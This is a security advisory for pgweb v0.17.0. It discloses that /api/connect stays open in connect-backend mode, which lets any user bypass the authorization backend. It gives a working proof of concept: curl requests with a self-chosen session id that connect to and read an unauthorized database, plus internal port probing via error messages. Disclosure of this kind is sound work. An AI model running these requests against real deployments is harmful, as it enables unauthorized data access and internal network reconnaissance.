Connect-backend authorization bypass via direct /api/connect arbitrary connection string
reported on 15 June 2026: https://github.com/sosedoff/pgweb/security/advisories/GHSA-4vqc-8j34-prvw
Affected version: v0.17.0
Summary
When pgweb is deployed with the Connect feature (--sessions --connect-backend=<url> --connect-token=<token>), the third-party backend is the authorization gateway: it maps an opaque resource identifier and the request headers of the authenticated end user to a specific database connection string, and is expected to be the only way a user reaches a database. The /api/connect endpoint remains registered and unguarded in this mode, so any end user can POST an attacker-supplied url form value and open a connection to any database reachable from the pgweb host, completely bypassing the backend. This grants access to databases the backend would never authorize (other tenants, internal-only databases) and turns pgweb into a server-side request forwarder against the internal network.
Details
Routes are registered in pkg/api/routes.go. In --sessions mode (which --connect-backend forces on, see pkg/command/options.go:135), both the backend route and the direct connect route are live:
root.GET("/connect/:resource", ConnectWithBackend) // backend-gated path
...
api.POST("/connect", Connect) // direct, attacker-controlled pathConnect (pkg/api/api.go:145) has no awareness of connect-backend mode. Its only guards are LockSession, a bookmark_id branch, and BookmarksOnly:
func Connect(c *gin.Context) {
if command.Opts.LockSession {
badRequest(c, errSessionLocked)
return
}
if bookmarkID := c.Request.FormValue("bookmark_id"); bookmarkID != "" {
cl, err = ConnectWithBookmark(bookmarkID)
} else if command.Opts.BookmarksOnly {
err = errNotPermitted
} else {
cl, err = ConnectWithURL(c) // <-- reached in connect-backend mode
}
...
}BookmarksOnly cannot be combined with --connect-backend (rejected in pkg/command/options.go:177), so in a connect-backend deployment BookmarksOnly is always false and the else branch runs. ConnectWithURL (pkg/api/api.go:187) reads an arbitrary connection string straight from the request:
func ConnectWithURL(c *gin.Context) (*client.Client, error) {
url := c.Request.FormValue("url")
...
return client.NewFromUrl(url, sshInfo)
}The session in --sessions mode is keyed entirely by a client-supplied value (x-session-id header or _session_id query parameter, see pkg/api/helpers.go:86), so the attacker simply picks their own session id, calls /api/connect, and then issues queries against the connection they created. The connection created this way is not flagged External, so even the SwitchDb/GetDatabases External guards do not constrain it.
The net effect: the backend's resource-to-database authorization (the entire security purpose of the Connect feature) is bypassed. The same url value also lets the user point pgweb at arbitrary internal host:port targets; distinct error responses ("connection refused" vs "i/o timeout" vs a successful handshake) make this a usable internal port and service probe.
PoC
Prerequisites: a pgweb host running in connect-backend mode, a backend that authorizes exactly one database, and a second "secret" database that the backend never offers but which is reachable from the pgweb host.
- Start two PostgreSQL instances. The "authorized" one on port 6001, and a "secret" one on port 6002 that the backend will never hand out:
docker run -d --name authorized -e POSTGRES_PASSWORD=authpw -e POSTGRES_USER=authuser -e POSTGRES_DB=authorized_db -p 6001:5432 postgres:15
docker run -d --name secret -e POSTGRES_PASSWORD=secretpw -e POSTGRES_USER=secretuser -e POSTGRES_DB=secret_db -p 6002:5432 postgres:15
docker exec secret psql -U secretuser -d secret_db -c "CREATE TABLE classified(secret text); INSERT INTO classified VALUES ('TOP-SECRET-CREDENTIAL-12345');"- Run a backend that only ever returns the authorized database (this is the access-control gateway):
// backend.go
package main
import ("encoding/json"; "net/http")
func main() {
resources := map[string]string{
"id1": "postgres://authuser:[email protected]:6001/authorized_db?sslmode=disable",
}
http.HandleFunc("/", func(rw http.ResponseWriter, req *http.Request) {
var r struct{ Resource, Token string; Headers map[string]string }
json.NewDecoder(req.Body).Decode(&r)
url, ok := resources[r.Resource]
if !ok { rw.WriteHeader(404); return }
json.NewEncoder(rw).Encode(map[string]string{"database_url": url})
})
http.ListenAndServe("127.0.0.1:4567", nil)
}go run backend.go &- Run pgweb in connect-backend mode:
pgweb --sessions --connect-backend=http://127.0.0.1:4567 --connect-token=test --bind=127.0.0.1 --listen=8081 --skip-open- As an attacker, skip the backend entirely. Pick your own session id and connect directly to the secret database, then read it:
ATK="attacker-chosen-session-0001"
curl -s -XPOST "127.0.0.1:8081/api/connect?_session_id=$ATK" \
--data-urlencode "url=postgres://secretuser:[email protected]:6002/secret_db?sslmode=disable"
curl -s -XPOST "127.0.0.1:8081/api/query?_session_id=$ATK" \
--data-urlencode "query=SELECT * FROM classified"Observed output:
# step 1 (legitimate, backend-gated) connect/id1 -> redirect Location: /?session=d7b9fbf5-880e-4f6a-9fe3-e0f5c30124e5
# GET /api/connection for that session -> {"current_database":"authorized_db","current_user":"authuser", ...}
# step 4 attack: POST /api/connect with attacker-chosen session and arbitrary url ->
{"current_database":"secret_db","current_schemas":"{public}","current_user":"secretuser","inet_server_addr":"172.17.0.3", ... }
# step 4 attack: POST /api/query ->
{"columns":["secret"],"rows":[["TOP-SECRET-CREDENTIAL-12345"]],"stats":{"columns_count":1,"rows_count":1, ...}}The attacker read TOP-SECRET-CREDENTIAL-12345 from secret_db, a database the backend never authorized for any user.
Internal probing, same endpoint:
# point at a non-postgres internal service
curl -s -XPOST "127.0.0.1:8081/api/connect?_session_id=p1" --data-urlencode "url=postgres://x:[email protected]:4567/db?sslmode=disable&connect_timeout=2"
-> {"error":"read tcp 127.0.0.1:...->127.0.0.1:4567: i/o timeout","status":400}
# closed port
curl -s -XPOST "127.0.0.1:8081/api/connect?_session_id=p2" --data-urlencode "url=postgres://x:[email protected]:6543/db?sslmode=disable&connect_timeout=2"
-> {"error":"connection refused","status":400}Impact
Any end user able to reach the pgweb HTTP endpoint in connect-backend mode can fully bypass the backend authorization gateway and open a database connection of their choosing. They gain read/write SQL access (subject to the target database credentials they supply, but also to any host the pgweb process can reach, including localhost-only and other-tenant databases on the internal network) and can use the connect error responses to map internal services. This defeats the entire purpose of the connect-backend feature, which exists to restrict which databases a given user may access.
Source: sosedoff/pgweb